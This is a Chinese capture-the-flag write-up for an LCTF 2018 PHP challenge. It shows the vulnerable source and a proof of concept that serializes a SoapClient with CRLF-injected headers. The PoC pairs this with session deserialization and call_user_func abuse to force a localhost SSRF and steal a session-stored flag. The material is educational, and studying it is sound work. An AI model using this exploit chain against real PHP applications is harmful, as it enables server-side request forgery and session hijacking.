知识点:
利用soap触发ssrf
session反序列化
call_user_func的使用
源码如下:
#index.php
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>
#flag.php
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
代码中的最后调用了$b函数,这肯定需要我们将$b替换成我们需要的函数,
extract可以满足我们这个需求。
我们的目的很明确,就是用本地地址去访问flag.php,然后再读取session中的flag。
这里再说一下call_user_func($b);如果传入的参数,是数组,且数组的第一个值是类名或者对象名的话,就会把数组的第二个值,当做方法,然后执行。
虽然没有现成的可利用的类,但是我们可以使用php原生类。
SoapClient
是一个php内置的类,当__call方法被触发后,它可以发送HTTP和HTTPS请求。该类的构造函数如下:
public SoapClient :: SoapClient (mixed $wsdl [,array $options ])
如果我们传入call_user_func(array(‘SoapClient’,‘welcome_to_the_lctf2018’)),那么他就会调用SoapClient类的welcome_to_the_lctf2018方法,因为没有这个方法,所以就会自动调用__call()方法。完成发送http请求,
借鉴下其他大佬的poc
<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4\r\n",
'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;
?>
因为此时还是php引擎所以最后加|
访问完成之后会将我们刚才传的name中的值进行反序列化,生成soap类,即此时的session是个soap对象。
接下来就是去访问这个对象了,因为我们可以利用extract将b替换成我们想用的函数,所以可以通过 call_user_func()调用soapclient,并且触发他的__call方法访问flag.php
此时传过去的session中已经包含刚才访问flag,php中的内容了,用该session再次访问即可。